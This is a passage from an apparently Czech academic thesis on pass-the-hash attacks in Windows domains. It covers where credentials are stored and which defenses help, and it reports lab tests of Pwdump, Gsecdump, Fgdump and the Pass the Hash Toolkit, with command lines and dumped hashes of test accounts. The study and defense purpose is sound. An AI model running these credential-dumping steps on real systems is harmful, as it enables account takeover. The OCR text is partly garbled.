t izační údaje (V př ípadě pass the hash se j e d n á o N T L M hash hesla) 

• Po té jsou ukradené údaje podvrženy au ten t izační službě za účelem získání 

p ř í s tupu ke zvolenému úč tu . 

K tomu, aby ovšem ú točn ík měl p ř í s tup ke všem s tanic ím a s lužbám v rámci 

jedné domény, toto nestačí , a je n u t n é získat p ř í s tup k doménovému kontroléru. 

Schéma útočníkova postupu přes síť je znázorněn na obr. 3.1. 

• Útočník musí nejprve získat admin i s t r á to r ský p ř í s tup k lokální stanici, kde je 

spuš těn škodlivý kód, k te rý je schopný z konkrétních míst získat uživatelův 

hash hesla (nejčastěji S A M da tabáze ) . Vložením takto získaného hashe do 

pamě t i procesu, kde jsou uloženy přihlašovací údaje , se může přihlási t pod 

právě z ískaným ú č t e m na dalš ím počí tači . T í m t o způsobem ú točn ík postupuje 

celou sítí. 
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• Útočník použije uk radené údaje , aby se přihlásil na další počí tače , kde exis­

tují po t ř ebné úč ty pro další postup sítí. Takto ú točn ík postupuje dále, než se 

dostane ke stanici, na k te ré existuje vysoce privilegizovaný doménový účet . 

Administrátorský účet: 
56a38c75fea4dc2e6ae0913ef0d88905 

Lokální uživatel: 
el930b4927e6b6d92dl20c 

7clbba3421 

Ukradený hash: 
el930b4927e6b6d92dl20c7clb 

ba3421 / 
/ 

. Ukradený Hash: 
/ 56a38c75fea4dc2e6ae0913ef0d 

88905 

Ukradený hash: 
d4421a47dd93a403eb9ebec427e 

eda68 

Privilegizovaný doménový 
účet: 

d4421a47dd93a403eb9eb 
ec427eeda68 

Plný přístup k celé doméně 

Útočník 

i i • 3 
Doménový Kontrolér 

Obr. 3.1: Pass the hash - získání p ř í s tupu k celé doméně 

• Ov ládnu tn í tohoto ú č t u útočníkovi umožňuje změnu př í s tupových p ráv a správu 

veškerých uživatelských úč tů . Nyní si již může přidělit p o t ř e b n á práva pro svůj 

účet . 

• V př ípadě , že je účet kompromi tován , ú točn ík získal admin i s t r á to r ský p ř í s tup 

k active directory, a může tedy ovládnout veškeré stanice v rámci domény 

a t aké veškeré domény, k teré maj í napadenou doménu označenou jako důvě­

ryhodnou [18]. 

3.1.1 Získání autent izačních údajů 

A b y ú točn ík mohl získat po t ř ebné údaje ze systému, je n u t n é mí t k počí tači ad­

min is t rá to rský př í s tup . Po té může z několika mís t za pomoci skr ip tů a p rog ramů 

získat přihlašovací data [18]. 

• S A M (Security Account Manager) da tabáze . J e d n á se o da tabáz i uloženou 

v registrech systému. Konkré tně v řetězci 
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H K E Y _ L O C A L _ M A C H I N E \ S A M \ S A M 

Ta obsahuje uživatelská j m é n a a k n im příslušné hashe hesel. V rámci zvýšení 

bezpečnost i k S A M da tabáz i smí př i s tupova t pouze procesy sys tému a není 

možné z ní za běhu vyčíst jakákol iv data. V novějších verzích sys tému Windows 

byla t aké zavedena funkce Syskey, k t e rá m á za následek částečné zašifrování 

S A M souboru a také v n ě m uložených hashů . Ve výchozím nas tavení se S A M 

da t abáze nachází ve složce: 

%WINDIR%\Sys t em32 \Conf ig \ , 

kde % W I N D I R % přestavuje složku, ve které je sys tém Windows nainstalo­

vaný [18]. 

• Paměť procesu Local Security Author i ty Subsys tém (LSASS) . J e d n á se proces 

sys tému Windows, k te rý slouží jako au ten t izační server a nachází se v: 

%WINDIR%\System32\lsass.exe. 

Tento proces m á na starosti ověřit př ihlášení a tvorbu dalšího procesu zodpo­

vědného za funkčnost služby Winlogon. Jelikož se j e d n á o proces, k te rý pracuje 

s hashem hesel, a musí být dočasně uložena právě v pamě t i daného procesu, 

ze k te rého mohou být ú točn íkem získána [18]. 

• D a t a b á z e doménové active direcotry. Konkré tně na doménovém kontroléru, 

což je server, k t e rý zodpovídá za správu přihlašování, oprávnění atd [18]. 

• Credential Manager - umožňuje uchovávat přihlašovací údaje pro au tomat ické 

přihlašování na internetové s t r ánky nebo na os t a tn í poč í tače v rámci sítě. 

Veškeré údaje jsou uloženy ve složce „vaul t" : 

C:\users\%username%\appdata\local\micorsoft\credentials. 

K ní mohou př i s tupovat pouze po t ř ebné programy a služby, k teré uložená hesla 

nebo hashe hesel bezpečně poskytnou požadovaným serverům [18]. 

• Hodnota L S A secret v registrech. J e d n á se o hodnotu v registrech, kde jsou 

uloženy důležité informace o systému. To zahrnuje 

— hesla použ i t á k au tomat i ckému přihlášení , pokud je tato s lužba zapnu tná , 

— přihlašovací údaje ke s lužbám, k te ré může spouš tě t uživatl Windows [18]. 

Rodičovská hodnota obsahující všechny po t ř ebné údaje se nachází v: 

H K E Y _ L O C A L _ M A C H I N E \ S e c u r i t y \ P o l i c y . 

• Zachycení komunikace protokolu Server Message Block ( S M B ) . J e d n á se o ko­

munikační protokol apl ikační vrstvy, k te rý slouží k p ř í s tupu na sdílené mé­

dium [17]. 
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3.1.2 In terakt ivní autentizace 

Po spuštění sys tému je automaticky otevřen proces Winlogon.exe. V př ípadě nut­

nosti zadán í přihlašovacích úda jů Winlogon zavolá dynamickou knihovnu M S G I N A . d l l 

( G I N A ) . Ta obsahuje uživatelské rozhraní pro zadán í přihlašovacích údajů . Uživatel 

je nyní vyzván k autentizaci [19]. 

Po zadán í j m é n a a hesla G I N A zavolá funkci „LsaLogonUser" k specifikování 

správného au ten t izačn ího balíčku, k te rý vyhodno t í přihlašovací údaje . P ř i lokální 

autentizaci se j e d n á o dynamickou knihovnu M S V l _ 0 . d l l . Pokud by se uživatel při­

hlašoval k doméně za pomoci nepř ímého ověřování, byla by v y b r á n a j iná knihovna, 

k t e rá to umožňuje . 

Je tedy pa t rné , že v knihovně M S V 1 _ 0 . d l l jsou implementovány kódy pro pod­

poru N T L M protokolu [19]. 

Jedná-l i se o lokální autentizaci, zadané údaje jsou porovnávány vůči ú d a j ů m 

v S A M da tabáz i , jež už ovšem není součást í procesu lsass.exe. 

Po té je výsledek úspěšné či neúspěšné autentizace zaslán zpět na G I N A . Pokud 

je autentizace úspěšná , uživatel je oprávněn začít používat sys tém a přihlašovací 

údaje jsou uloženy pro následné znovupouži t í [19]. 

Proces in terakt ivní lokální autentizace je zobrazen na obr. 3.2. 

Winlogon.exe 

GINA 
(MSGINA.dll) 

LSA 
Autentizační balíčky 

(MSVl_0.dll atd.) 

SAM 
server 

LSASS.exe 

SAM 
databáze 

Obr. 3.2: Mechanizmus lokální in terakt ivní autentizace ve Windows 
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Procesu in terakt ivní autentizace využívá větš ina pass the hash nás t ro jů . T y pře­

vážně pracují na principu dli injection. Po získání a zadán í uživatelského jména , 

domény /p racovn í skupiny a uživatelova hashe je vy tvořena dynamická knihovna, 

k t e rá je vložena do pamě t i procesu LSASS.exe, aby byla p ř epsána ak t ivní L S A re­

lace [20]. 

Druhou možnos t í není p ř ímo vkládání dynamických knihoven, ale alokování pa­

mět i uvn i t ř procesu lsass.exe. Z toho je nás ledně možné vyčíst použi té hashe pro 

ak t ivní relace a t aké je nahradit již získanými [12]. 

3.2 Ochrana 

Jak již bylo řečeno, ú tok pass the hash využívá nedokonalost í v návrhu autent izač-

ních protokolů a neexistuje proti němu žádné j edno tné opa t řen í , k te ré by jej mohlo 

eliminovat. Lze však použí t j i s t á opa t řen í , k t e rá daný ú tok alespoň znesnadní [18]. 

Cílem těchto p ro t iopa t řen í je útočníkovi odepř í t t ř i základní věci umožňující 

provedení ú toku . 

1. Nalezení mís t , kde jsou přihlašovací údaje a jejich hashe uloženy. Toto je ovšem 

téměř nemožné, jelikož v současné době existuje k sys t émům Winodws rozsáhlá 

dokumentace, a je tedy možné si velmi j ednoduše dohledat, kde se konkré tn í 

přihlašovací údaje nachází . Změna uk ládán í úda jů by vyžadovala velmi vý­

razný zásah do kódu systému, a to je na admin i s t ra t ivn í úrovni nemožné [18]. 

2. Získání přihlašovacích údajů . K získání po t řebných úda jů ú točn ík využívá 

škodlivého kódu, k te rý př is tupuje k p a m ě t i či disku počí tače . K e spuštění 

tohoto skriptu je n u t n é mí t admin i s t r á to r ská oprávnění . Je tedy velmi vhodné 

zakázat lokální admin i s t r á to r ský p ř í s tup pro s t a n d a r d n í uživatele a snažit se 

detekovat škodlivý kód [18]. 

3. Znovupouži t í přihlašovacích údajů . J e d n á se předevš ím o omezení služby sin­

gle sign-on. Pokud již ovšem ú točn ík získal kontrolu nad admin i s t r á to r ským 

úč tem, je možné upravit práva s t a n d a r d n í m uživa te lům a ú tok není n u t n é 

provádět znova [18]. 

Je tedy pa t rné , že hlavní opa t řen í by měla být zaměřena na krok č. 2, tedy ome­

zení admin is t rá to rského p ř í s tupu a zabráněn í spuš tění škodlivého skriptu, k te rý ú tok 

umožňuje. V tabulce 3.1 jsou uvedena něk te rá opa t ř e tn í a jejich vl iv na pot lačení 

ú toků pass the hash. 
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Tab. 3.1: Opa t ř en í proti ú toku pass the hasli a jejich efektivita 

Opatření Efektivita zaměření 

Odstranění standardních uživatelů z lokální admi­
nistrativní skupiny 

velká práva 

Omezení přístupu k privilegizovaným doménovým 
účtům 

velká přístup 

Zrušení lokálních účtů s administrátorskými právy velká práva 

Antivirová ochrana velká spuštění programu 

Zavedení Intrusion Prevention System velká spuštění programu 
Omezení počtu privilegizovaných doménových účtů střední přístup 

Aktualizace systému minimální spuštění programu 

Odstranění L M hashů a zrušení N T L M protokolu minimální spuštění programu 

3.2.1 Zamezení spuš tě tn í ú točného programu 

I n t r u s i o n P r e v e n t i o n S y s t e m ( I P S ) 

Intrusion prevention sys tém je modul nebo samos ta tné zařízení, k te ré dokáže moni­

torovat provoz na síti (network IPS) p ř ípadně na konkré tn í stanici (Host-based IPS) 

a na základě anomáli í v provozu blokovat po t ř ebný provoz, s lužbu či program. 

N a cílové stanici by měly být moni torovány změny v uživatelských účtech (změna 

práv, či p ř idán í nových) . Veškeré nevyžádné změny či nové úč ty by měly být smazány 

a nás ledně také vygenerovaná pop lašná zpráva. 

V h o d n é je t aké kontrolovat neúspěšné pokusy o autentizaci a zda neproběhla 

explicitní autentizace z j iného úč tu [12]. 

A n t i v i r o v á o c h r a n a 

K získání hashe a nás lednému provední programu využívá větš ina dos tupých ná­

st rojů metody tzv. „dli injection". J e d n á o ú tok, kdy škodlivý kód je spuš těn v ad-

resním prostoru j iného procesu a to tak, že je vložen do souborů dynamických kniho­

ven [12]. 

V současné době by měla být větš ina ant ivirových p rogramů schopná toto ne­

s t a n d a r d n í chování zachytit a škodlivý soubor smazat [12]. 

O m e z e n í d o č a s n é h o u k l á d á n í p ř i h l a š o v a c í c h ú d a j ů 

Dočasné přihlašovací údaje musí být uloženy pro př ípad , že dojde k v ý p a d k u spojení 

a uživatel by se musel po zprovoznění opět autentizovat [12]. 
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V současné době sys témy Windows původně umožňují uložení 25 dočasných při­

hlášení [12]. 

Nas taven ím hodnoty řetězce CachedLogonsCount v registrech na hodnotu 0. 

dos tupného přes: 

H K E Y _ L O C A L _ M A C H I N E \ S o f t w a r e \ M i c r o s o f t \ W i n d o w s N T \ C u r r e n t 

Vers ion\Winlogon\ , 

se toto dočasné uk ládán í zakáže [12]. 

3.2.2 Omezení práv 
Z r u š e n í l o k á l n í c h ú č t ů s a d m i n i s t r á t o r s k ý m i p r á v y 

V př ípadě , že se na kompromi tované cílové stanici nenachází lokální úč ty s adminis­

t r á to r skými právy, ú točn ík nebude moci po přihlášení na stanici měni t oprávnění 

a nás ledně je mu znemožněn p ř í s tup ke všem p o č í t a č ů m v síti či doméně [18]. 

Pokud jsou z konkrétních důvodů lokální úč ty s admin i s t r á to r skými právy vy­

žadovány, je n u t n é j i m omezit a lespoň vzdálenou administrativu (tzn. omezit práva 

např . k využívání vzáledné plochy) [18]. 

Omezení využi t í vzdáleného př ipojení lze t aké dosáhnout nas taven ím správných 

pravidel na firewallu. Je tedy vhodné např . rozčlenit síť na segmenty a vytvoř i t 

pol i t iku vzdáleného p ř í s tupu [18]. 

Z a p n u t n í U A C 

Jestl iže není možné lokálním ú č t ů m admin i s t r á to r ská práva zcela odebrat, je vhodné 

zapnout funkci User account control. Po jej ím zprovoznění běží zvolené úč ty bez 

admin is t rá to rksých práv . Jestl iže spouš těný porgram tato práva vyžaduje, je uživatel 

vyzván k zadán í ověřovacích úda jů [21]. 

Tato akce může znesnadnit útočníkovi získání po t řebných p ráv ke spuš tění skriptu 

k získání hashe či provedení ú t o k u [21]. 

O m e z e n í p ř í s t u p u p r i v i l e g i z o v a n ý c h d o m é n o v ý c h ú č t ů 

Je vhodné odepř í t doménovým a d m i n i s t r á t o r ů m autentizaci na méně důvěryhodné 

koncové stanice. Dále odděli t doménový účet od normáln ího úč tu téhož adminis t rá ­

tora. Útočník tedy nemůže získat př í s tupové údaje admin i s t rá to rksého úč tu , jelikož 

ty nikdy nebyly uloženy na kompromi tované stanici [18]. 

V active directory je t aké možné zvolený účet nastavit tak, aby nešlo využívat 

služeb poskytovaných sítí bez další autentizace [18]. 
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Z uvedených opa t řen í je pa t rné , že největší p rob lém plyne z toho, že ú točník 

získal p ř í s tup k ú č t ů m s admin i s t r á to r skými právy. Jelikož všekeré hashe hesel musí 

být někde uloženy, po té již t éměř není možné útočníkovi zabrán i t v jejich získání 

a provedení ú toku . Navržená opa t řen í mají útočníkovi pouze ztížit kompromitaci 

a jejich účinnost velmi závisí na kompromisech, k te ré jsou firmy ochotny podstoupit. 

Z podstaty popsaných opa t řen í je t aké pa t rné , že je ne všechny lze aplikovat 

podle libosti. Jejich zavedení závisí na znalostech admin i s t á ro t ra , ale hlavně na 

zvolené au ten t izační a síťové politice d a n é firmy. 

37 



4 TESTOVÁNÍ D O S T U P N Ý C H N Á S T R O J Ů 

Veřejně dos tupné nás t ro je pro provedení ú toku pass the hash byly tes továny na t řech 

nejběžnějších operačních systémech Microsoft: 

• Windows X P Professional s aktual izací „Service pack 3" (platforma x86) 

• Windows 7 Professioanl s aktual izací „Service pack 1" (platforma x86 i x64) 

• Windows Sevrver 2008 R2 s aktual izací „Service pack 2" (platforma x64) 

Ve všech systémech byly vytvořeny uživatelské úč ty s po t ř ebnými oprávněními , 

k teré jsou uvedeny v tabulce 4.1. L M hash hesel je možné získat při původn ím 

nas tavení pouze u operačního sys tému Windows X P . U novějších verzích byl zakázán 

a využívá se pouze N T L M hash. 

Všechny uživatelské úč ty byly ponechány v nezměněné pracovní skupině W O R -

K G R O U P a byl akt ivován admin i s t r á to r ský účet př íkazem: 

C : \ > net user Administrator /active:yes 

Pro testovací účely byla z p o č á t k u také zcela vypnuta ant ivirová ochrana. 

Tab. 4.1: Testovací uživateslké účty 

Uživatel Heslo Oprávněn í 

Administrator admin správce 

A05 management správce 

B05 security správce 

Host guest uživatel 

Z důvodu bezpečnost í poli tky nebylo možné na OS Windows Server ponechat 

výše uvedené údaje , proto byla zavedena nová uživatelská hesla viz tab. 4.2 

Tab. 4.2: Windows Server - Testovací uživateslké úč ty 

Uživatel Heslo Oprávněn í 

Administrator Xsw23edc správce 

A05 Cde34rfv správce 

B05 Zaql2wsx správce 

Používané hashe zvolených hesel jsou uvedeny v tabulce 4.3: 
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Tab. 4.3: Přeh led použi tých hesel a jejich hash ot isků 

heslo L M hash N T L M hash 

admin F0D412BD764FFE81 

A A D 3 B 4 3 5 B 5 1 4 0 4 E E 

209C6174DA490CAE 

B422F3FA5A7AE634 

management 7 6 F 1 B B 5 8 A D E 8 A B D A 

0A59CDA5244689BE 

B792835825ADFC48 

C D 5 F 8 4 6 7 A C F D C D 5 E 

security C6100ACE80E48267 

B79AE2610DD89D4C 

D 5 E 9 E 0 D B 5 0 B A 4 6 B 9 

48853221BE26DA2B 

guest A0E150C75A17008E 

A A D 3 B 4 3 5 B 5 1 4 0 4 E E 

8 2 3 8 9 3 A D F A D 2 C D A 6 

E 1 A 4 1 4 F 3 E B D F 5 8 F 7 

Xsw23edc — 9DBB4B80F448BB34 

638CC660F232AC44 

Cde34rfv — 80161EEFF565DF25 

CD08237D894821FC 

Zaql2wsx — 0 B B 4 F A 6 0 C 6 E C D E 3 B 

C2732CAFE8174B11 

4.1 Možnosti záskávání hashe 
Jak již bylo zmíněno, hash uživatelských hesel je možné získat mnoha způsoby. 

K tes tování byly využi ty vybrané volně dos tupné nást roje : 

• Pwdump 

• Fgdump 

• Gsecdump 

• Pass the hash toolkit 

• Skript ke kopírování S A M da t abáze 

4.1.1 Pwdump 

Program Pwdump umožňuje útočníkovi získat hash hesel ze S A M da t abáze uložené 

na mís tn ím disku. Program funguje na principu rozbalení S A M da t abáze ze sou­

borového systému. Ze získaných dat je nás ledně vyč ten obsah S A M souboru, tedy 

názvy ú č t ů a jejich hashe. 

Spuš těn ím programu bez zadání konkrétních p a r a m e t r ů se provede extrakce 

úda jů z lokální S A M da t abáze (obr. 4.1). Testování proběhlo na operačn ím sys tému 

Windows Server 2008. 

Z v ý s t u p u ve tvaru 

Jméno účtu : Relativní ID : LM hash : NTLM hash ::: 
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je možné vyčíst veškeré po t ř ebné údaje pro následující uskutečnění ú toku . Jestl iže je 

mís to něk te ré položky uveden řetězec „NO p A S S W O R D * * * * * * * * * * * * * * * * * * * * * ' 1 , 

daný hash u konkré tn ího ú č t u není k dispozici. To je způsobeno bud t ím, že není 

k ú č t u př i řazeno žádné heslo, nebo na d a n é m operačn ím sys tému není takový hash 

podporován . Ve Windows 7 bude mís to položky : LM hash : vždy tento řetězec. 

C: SU s e r s SU o j t aNDe s kt o p \T o ols>PwDump7.e xe 

Pudump u7.1 - r a u passuord e x t r a c t o r 

Admin i s t ra tor :500:NO PASSWORD*********** 
Guest: 501: NO PASSWORD**'""""""""""""""""' 
B05:1000:NO PASSWORD***"********"******* 
A05:1002:NO PASSWORD******************** 

*********:9DBB4B80F448BB34638CC660F232AC44::: 
*:N0 PASSWORD***********ICI.ICI.MICI.ICI.IC: : : 
:0BB4FA60C6ECDE3BC2732CAFE8174B11::: 
:80161EEFF565DF25CD08237D894821FC::: 

Obr. 4.1: Windows Server 2008 - extrakce úda jů z lokální S A M da t abáze 

U s tarš í verze programu Pwdump je možné jej spustit i na vzdáleném sys tému při 

znalosti uživatelského j m é n a a hesla na zvolené stanici. To je možné provést pouze 

pro sys tém Windows X P . 

Nejprve je n u t n é specifikovat sdílenou síťovou položku (-s IPC$) , IP adresu vzdá­

leného počí tače (192.168.0.20), uživatelské j m é n o (-u A05) a heslo (-p management). 

Výs tup je uveden na obrázku 4.2 

C:\pudumpG>PuDump.exe -s IPCÍ 192.168.0.20 - u A05 -p management 

A d m i n i s t r á t o r : 5 0 0 : F 0 D 4 1 2 B D 7 6 4 F F E 8 1 A A D 3 B 4 3 5 B 5 1 4 0 4 E E : 2 0 9 C 6 1 7 4 D A 4 9 0 C A E B 4 2 2 F 3 F A 5 A 7 A E 6 3 4 : : : 
G u e s t : 5 0 Í : N O PASSUORD*********************:NO PA S S HORD * « ' " " " " " " " " " " " " " " " " " " ' : : : 
HelpAssistant:1000:0F0367636881A5A930B89C8F893E711B:8B91E6DB4C3CA03B512EF72BD82840A6::: 
SUPPORT_388945a0:1002:NO PASSWORD*********************:0E5BF096827DB893F219923B2B0ABADB::: 
Host:1004:A0E150C75A17008EAAD3B435B51404EE:823893ADFAD2CDA6ElA414F3EBDF58F7::: 
A05:1005:76F1BB58ADE8ABDA0A59CDA5244689BE:B792835825ADFC48CD5F8467ACFDCD5E::: 
B05:1006:C6100ACE8 0E48 26 7B79 A E2 61BDD8 9D4C:D5E9E0DB50BA 46 B9 488 5 3 2 21BE2 6 DA 2 B : : : 

Obr. 4.2: Windows 7 - vzdálené spuštění pwdump 

Nevýhoda porgramu pwdump spočívá v nemožnost i využi t í u active directory. 

Tam jsou hesla uk l ádána v souboru ntds.dit, kdež to pwdump je schopný pracovat 

pouze se S A M da tabáz í . Také není možné jej vzádáleně spustit na operačních sys­

témech Windows V i s t a a novějších. 

4.1.2 Gsecdump 

Program Gsecdump umožňuje získat nejen údaje uložené v lokální S A M da tabáz i , ale 

také ze souboru N T D S . d i t při využi t í active directory. Pro jeho správnou funkčnost 

na Windows Vi s t a a novější musí být spuš těn s paramaterem -S, k te rý jej spus t í pod 

uživate lksým ú č t e m LocalSystem, kde není uvedeno žádné heslo. Pro získání hashe 

ze S A M da t abáze slouží parametr -s (viz obr. 4.3). 
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Jeho velkou výhodou je možnost vyčíst hodnotu L S A secret z regis t rů pro zrovna 

př ihlášeného uživatele. T í m se docílí zobrazení uživatelova hesla v čis tém textu. Pro 

tuto možnost je n u t n é p ř ida t ke spuštění parametr -1. 

C: \ U se r s \B05 \De s kt o pMo o Is ><js e c dump. e xe - s -1 -s 

DefaultPassuord 
73 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 s .e c . u . r . i . t . y . s e c u r i t y 

DPAPI SVSTEM 
s e c u r i t y 

01 00 00 00 49 47 FE 12 8E 27 C l F4 E6 6B 69 E9 I G . . . ' . . . k i . 77 7 
9fl FD F6 3B FD 33 24 2F 01 6D 86 7A 33 AF E2 57 . 3 $ / . m . s 3 . . U 11 1111 
01 29 84 C6 26 D7 B0 IE 3E 0H 50 58 '.y. S. . -> .PX ill i 

NL$KM 
15 E3 16 84 BF E l AF 24 8C 86 FE 9D C4 E8 D3 35 . . . í 5 1 11 1 
D9 B2 71 91 5fl AA A l C9 42 45 90 98 52 17 32 27 - -q Z . . . B E . . H . 2 ' li 111 
29 DB B8 AF 72 E l D8 0A 04 8D C4 7F BF 43 E0 E4 >.. r C . . 1 111 
25 6C CS 16 DE 86 06 94 F2 50 4F 40 7B 44 CA 02 j í l P O P Í D . . 7777777 

A05<current>=1002:aad3b435b51404eeaad3b435bS1404ee:b792835825adfc48cd5f8467acfdcdSe::: 
Administrat or í c urre n t >:5 00:aad3b435 b51404e e aad3 b43 5 b51404ee:2 09 c 6174da490cae b42 2 f 3 f aS a7ae6 
34: : : 
B05(current>:1003:aad3b435b51404eeaad3b435b51404ee:d5e9e0db50ba46b948853221be26da2b::: 
Guest(current>:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0dl6ae931b73c59d7e0c089c0::: 
Host<current>:1004:aad3b435b51404eeaad3b435b51404ee:823893adfad2cda6ela414f3ebdf58f7::: 

Obr. 4.3: Windows 7 - lokální použi t í programu Gsecdump 

Z jeho v ý s t u p u je tedy p a t r n é že, heslo uživatele B05 je „securi ty", v další části 

jsou pak zobrazeny všechna uložená uživatelská j m é n a a j i m př i řazené hashe hesel. 

Jelikož byl program spuš těn na operačn ím sys tému Winodws 7, kde nejsou uklá­

dány hodnoty L M hashe, ve v ý s t u p u je tak jeho hodnota nahrazena ře tězcem 

aad3b435b51404eeaad3b435b51404ee, 

k te rý reprezentuje jeho nespecifikovanou hodnotu. 

Gsecdump ovšem nelze použí t pro získání po t řebných úda jů lokálně na sys tému 

Windows Server 2008, po př íkazu k extrakci L S A secret a ext rahování S A M da t abáze 

byl výs tup násladující: 

C:\Users\B05NDesktopNTooIs >gsecdunp. exe - s -1 -s 

DefaultPassuord 
DPflPI SVSTEM 

e i m m m 9 f i c b i 4c 77 E9 s c i a D9 BC 96 C8 Lu.\  ? ?? 
C5 E7 39 BE DC 7C 2D 50 42 04 B3 89 9E E3 E0 03 . . 9 . . : - p b  ????? ? 
30 71 E3 8D 8F A9 33 03 9B C9 30 B9 0q 3 0. ?? ?? 

NL$KM 
0q 3 0. 

FF DC 7D 51 8E BS 42 F3 C4 SC D2 F l 68 EE F4 B0 ..>Q..B..\..h... ?? ? ? 
2F 98 7C BE 2C 01 A4 5B 90 Cl 6E 51 62 B B 3B 28 / . i [. .nQb. ;< ??????? 
A0 10 55 FA 5A E2 76 B B 15 89 91 EA 57 F4 AB 28 . .U.Z.u U. .< ?? ?? 
CA 5F 45 26 F8 62 91 9B D8 3E 32 93 D9 AB 0F 2D ._E&.b.. .>2  ? ???? ? 

error [299] In EnumProcessModules: 

Obr. 4.4: Windows Server - lokální použi t í programu Gsecdump 

4.1.3 Fgdump 

Program Fgdump umožňuje získat požadovaný hash dvěma způsoby: 
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• ex t rahován ím ze S A M da tabáze . 

• z dočasných souborů po t řebných pro přihlášení , či využi t í služby. 

P ř i p ů v o d n í m nas tavení jsou lokálně provedeny obě metody a výsledek je sloučen 

do jednoho souboru (obr 4.5). 

ňB5:1B85:7ůF1BB58HDE8HBDH0fl59CDfl5244ó89BE:B792835825HDFC48CD5F84ó7flCFDCD5E::: 
ftdninistrator:50B:FeDi|12BD76itFFE81flflD3Bit35B51fie4EE:2e9Ců174Dflit9eCftEBit22F3Ffl5ft7flE634::: 
Bfl5:1B8ó:Co1fl8flCE8 0E482ů7B79flE2ó10DD89DltC:D5E9E0DB5 0Bfl4ůB948853221BE2óDfl2B::: 
Guestz5 01iHO PňSSWORD*********************z HO PňSSWORD*********************z z z 
HelpfissistantZl0B8z0F83ů7ů36881fi5fi93 0B89C8F893E711Bz8B91EĎDB4C3Cfi03B512EF72BD82840fiůZ Z : 
Host:1804:fi0E150C75fl17008EflflD3B435B51484EE:823893flDFHD2CDfiůE1fi414F3EBDF58F7::: 
SUPPORT 388945aBz18B2 zNO PflSSWORD********************»: 0EBBFB96827D8893F219923B2BBflBflDB :: : 

Obr. 4.5: Windows X P - lokální extrakce 

Výhoda fgdump spočívá v možnost i tes tování cílové stanice, zdali je p ř í t omna 

antivirová ochrana bez nutnosti p ř ímého spuštění programu, k te rý by byl vyhod­

nocen jako škodlivý. V př ípadě , že je ochrana detekována, existuje možnost , kdy se 

fgdump pokusí antivirus na po t ř ebný okamžik vypnout (restartovat). 

P ř i tes tování ovšem bylo zjištěno, že u současných plně aktual izovaných antiviro­

vých ochran tento paramater n e m á význam, jelikož byl program označen za škodlivý 

ješ tě p řed t ím, než mohl bý t spuš těn (viz 4.4). 

K e vzdálenému p ř í s tupu je t ř e b a nejprve spustit s lužbu „remote registry", k te rá 

umožní vzdálenou správu registrů. K tomu je ovšem n u t n é oprávnění admin i s t r á to ra . 

Následně byl na sys tému Windows X P spuš těn příkaz: 

C:\>fgdump.exe -h 192.168.59.130 -u B05 
-p security -1 output.txt 

Parametr ,,-h 192.168.59.130" specifikuje IP adresu vzdálené stanice, na které 

se bude extrakce provádět . V tomto př ípadě se j e d n á o adresu počí tače , na k te rém 

běží OS Windows 7. Paramtery ,,-u" a ,,-p" udvávají uživatelské j m é n o a heslo na 

vzdálené stanici. Pro vypsání výsledku do souboru output.txt je použi t poslední 

parametr „-1" 

Po úspěšném spuš tění pak v souboru output.txt bude výpis získaných úda jů ze 

sys tému Windows 7 viz obr. 4.6 

fiB5 :1 BB2 :N0 PflSSU0RD************«********:B792835825fiDFCi|8CD5F84ů7fiCFDCD5E :: : 
AdministrátorzSBBzNO PflSSW0RD*********************z289Ců174Dfl49BCfiEB422F3Ffl5fi7flEó34z: : 
B85 z1 883 zNO P h S S U0R D * * * * * * * * * * * * « * * * * * * * * : D5E9E B D B5B B h4ů B948853221B E2ů D h2B : : : 
G u P s t z 5 01 z NO PňSSUORD*********************z HO PňSSUORD*********************z z z 
Host:ie04:N0 PflSSU0RD*********************:823893flDFflD2CDfl6E1flii14F3EBDF58F7::: 

Obr. 4.6: Windows 7 - vzdálené spuštění fgdump 
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4.1.4 Pass the hash toolkit 

Pass the hash toolkit obsahuje sadu nás t ro jů k provedení ú toku . Konkré tně se j edná 

o dva moduly 

• whoisthere.exe (whoisthere-alt.exe) 

• iam.exe (iam-ale.exe) 

Whoisthere slouží k získání hashe z ak tuá ln ích N T L M relací, tzn. dokáže z pamě t i 

vyčíst údaje pouze těch uživatelů, k teř í jsou momen tá lně k dané stanici přihlášení . 

Reálně skýtá využi t í v pouze v př ípadě , že ú točn ík je k dané stanici př ipojen např . 

přes vzdálenou plochu. 

Al te rna t ivn í verze nás t ro jů se odlišují pouze v různém př í s tupu k p o t ř e b n ý m 

úda jům. Využívají více generické řešení a měly by být schopny fungovat na většině 

podporovaných systémů. 

C : \ p s h t o o l k i t _ u l . 4\uliosthere— a l t >uhosthere—alt. exe 

Tliis t o o l l i s t s the act iue LSfl logo n sessions u l t h NTLM c r e d e n t i a l s . 

the o Lit put f o r m á t i s : username : doma in : lmhash:nt}iash 

BB5:UOJIfl-9D5859Elfi:C610BflCE8BE4B267B79flE261BDDB9D4C:D5E9EBDB50Bfi46B948853221BE26Dfl2B 
ft dm in i s t ra t o r : U 0JT fl-9 D5 8 59 Elfl:F0D412 BD76 4FFE81ft fl D3 B43 5 B51404EE:2 09 C6174Dfl 49 0Cft EB422 F3 Fft 5 fl 7 
AE634 
UOJTfl-9D5859Elfl$:UORKGBOUP:flflD3B435B51404EEftflD3B435B51404EE:31D6CFE0D16flE931B73C59D7E0C089 
C0 

Obr. 4.7: Windows X P - výs tup Whosthere.exe 

Př i tes tování byl i na Windows X P přihlášeni dva uživatelé Admin i s t r á to r a B05, 

z jehož ú č t u byl ú tok spouštěn . Výs tup je p a t r n ý na obr. 4.7. 

Ve výpisu řetězec „VOJTA-9D5859E1A" značí j m é n o počí tače . V posledním 

řádku je zařazení daného počí tače do domény. Jelikož se v žádné nenachází , je uve­

dena pouze pracovní skupina. 

Pass the hash toolkit je již zas ta ra lý a pro nasazení v dnešních síťových in­

f ras t rukturách t éměř nepoužitelný. Jeho nevýhoda spočívá v omezení funkčnosti 

pouze na OS Windows X P a starší . N a novějších systémech veškeré nás t ro je vyka­

zují chybu. Velmi limitující je také fakt, že není možné hash získat j i ným způsobem 

než z p a m ě t i u akt ivních N T L M relací. 

4.1.5 Kopírování S A M da tabáze 

Jak již bylo zmíněno, S A M da tabáze je chráněna sys témem a za jeho chodu k ní nemá 

běžný uživatel (i s admin i s t r á to r skými právy) p ř í s tup . Nelze j i b ě ž n ý m způsobem 

otevří t , ani zkopírovat. Existuj í však způsoby, jak je možné k da tabáz i získat p ř í s tup . 

• N a konkré tn í stanici zavést a l t e rna t ivn í operační systém, a jelikož požadovaný 

